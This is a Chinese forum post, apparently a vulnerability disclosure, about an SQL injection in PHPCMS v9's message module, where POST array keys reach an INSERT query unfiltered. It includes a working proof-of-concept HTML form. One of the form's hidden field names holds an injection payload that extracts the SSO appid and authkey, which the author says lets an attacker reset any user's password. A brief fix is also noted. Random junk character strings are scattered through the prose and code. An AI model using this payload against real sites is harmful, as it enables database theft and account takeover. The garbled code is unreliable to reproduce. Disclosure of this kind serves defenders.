|
|
简要描述:( l% E' s3 }: q
0 o1 a) Z; @; v+ g( D! N) Q) I第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。/ J) \% B U7 p. [2 U& C( l
: n8 j4 b' U" Y4 A% {7 p明天再更新下一个漏洞。! ]- m |( o7 B6 M+ r X9 }9 d% w
详细说明:% ]8 W; v5 F( n
在/phpcms9/phpcms/modules/message/index.php中有代码如下:4 O5 o1 n! i$ G% W- f3 |! A/ i
+ ]7 X4 i% z( x! r6 t
$messageid = $this->message_db->insert($_POST['info'],true);
7 Y1 G8 c# J o% s7 B8 L- y7 q R/ s
8 Z$ _* m" X3 [
' w% I& ^' i" @6 uinsert方法是key value的,代码如下:
# B @9 h5 O- N; d' I! d7 d/ a
4 q9 k" P2 |$ Y' x. c; |3 g3 |public function insert($data, $table, $return_insert_id = false, $replace = false) {
1 y5 h3 J! Z0 r4 Q3 G+ [% z$ x if(!is_array( $data ) || $table == '' || count($data) == 0) {3 P+ X# u- [' _5 ~) }( ?3 Q& i
return false;
) t, f5 [8 h. W. I: `6 S$ n }8 `3 h6 @# B M# h0 {
7 r2 H q- h' E" ?9 R; T1 x$ ~
$fielddata = array_keys($data);
4 j, M/ f( t2 M, b& Q $valuedata = array_values($data);
y0 ~6 V* V. ]% C/ [4 U array_walk($fielddata, array($this, 'add_special_char'));* m# O# e6 k, [ ?6 l. F
array_walk($valuedata, array($this, 'escape_string'));
( w9 i. `. w3 ?9 E! ^/ x
4 y" f- Q5 L) I$ a* @. C$ g# f) W $field = implode (',', $fielddata);
$ T4 [9 k- \7 Q% c: ] $value = implode (',', $valuedata);# D5 u" P. h& D# o1 l* b
5 @; w! {/ @- h! k; p! z4 S2 U% g* n
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';8 Y$ f/ b* e: b% R) ^$ Q! m; l
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
; n! j3 @1 i9 p. V& _. o+ R, M $return = $this->execute($sql);' M' c9 U$ u5 g5 _
return $return_insert_id ? $this->insert_id() : $return;
) \' s& G* {# b5 `* G. e0 c4 G }# C2 F# @! T. a; z
, h4 w: P0 K% f) {, L0 j
5 o: s% H9 w, k- Z$ x$ Q
嗯,很遗憾的是
0 s: m2 _; y! m8 M' v: k: e
" d8 q9 p0 [! b0 l. d6 f& q6 [array_walk($fielddata, array($this, 'add_special_char'));. ?: [ Y& X) u# J
# S4 m N: {7 c% d& k% ~
: \0 c: K9 q5 v9 G! r" P
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。% l! e9 S9 z9 z0 E
' d% r s/ K, G- I. D
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
R- g H) }8 P- D( b9 X, S
0 ] v3 S k8 E3 I! h# h& n漏洞证明:# g: r0 S5 H: o
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
* Z# t1 f Q z- `0 U3 }! i$ T
}9 ?6 t) _3 D- O' [7 ]; l
: N f7 D# o# L+ M表单如下:用户名什么的得自己改一改。( T7 Q& ?' ?$ D7 Q2 j8 b$ G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
. V% ]4 A2 l) Z5 E<table width="100%" cellspacing="0" class="table_form">( A0 `! o' Q/ |
<tr>8 f" t+ D/ @* o: D5 `. }! h
<th>标 题:</th>$ {; U0 T# _+ O/ X) d3 j/ \; D
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>$ f1 J7 Y; x$ E( k! m% x
</tr>
- I$ @# a" r9 D/ P<tr>
, k) H- B+ ~1 T" w0 G<th>内 容:</th>
8 d1 n4 ]/ b0 P D+ @<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>/ @, J1 \! i) \; v$ j/ ]
</tr># M# G" x7 z6 W: H* g) P) q
<input type="hidden" name="info[replyid]" value="2" />
$ p3 d6 F V$ H6 k) t; i9 l' V<input type="hidden" name="info[send_to_id]" value="cc" /> 4 [1 G! p4 n9 C% u
<input type="hidden" name="info[send_from_id]" value="hh">& d& g: e; S! [1 y T2 R" T" W
<!-- 漏洞的利用重点在这里开始 -->
% w& g+ H' f" ?<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 l" r& o7 `, r% m3 A7 I# \<!-- 漏洞的利用重点在这里结束 -->
0 K0 x* S' I. H" n; h, |( h<tr>
8 b- Z; p# E9 }( o, l<th>验证码:</th>
" c' Y! o. j. _ t' t8 V<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>! T5 @& J7 v, ^ i
</tr>
4 J% g+ n& k1 x* ~. g% q4 B1 L<tr>
" F/ y# k# Z7 m( V<td></td>
" b T5 c: s7 B: _# e1 U$ K<td colspan="2"><label>
" j: T& F$ A) ^) z<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>' ]0 U$ |8 ^3 S: _. H7 n0 V- J
</label></td>0 D- V& m/ l! f9 e5 G
</tr>6 m1 r- u7 o5 O
</table>
; h7 g b& s2 M</form>
5 e1 u8 r9 F& F6 P5 g9 t4 |在add_special_char函数内对key做过滤就可以了。- g. r/ N C7 g7 U! `' n7 N8 B( X
. X& z7 q( p7 n8 H0 `
3 H9 `6 v6 Z/ \) Y i9 U8 T. M9 |; G5 k& f' Z* ~( o
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|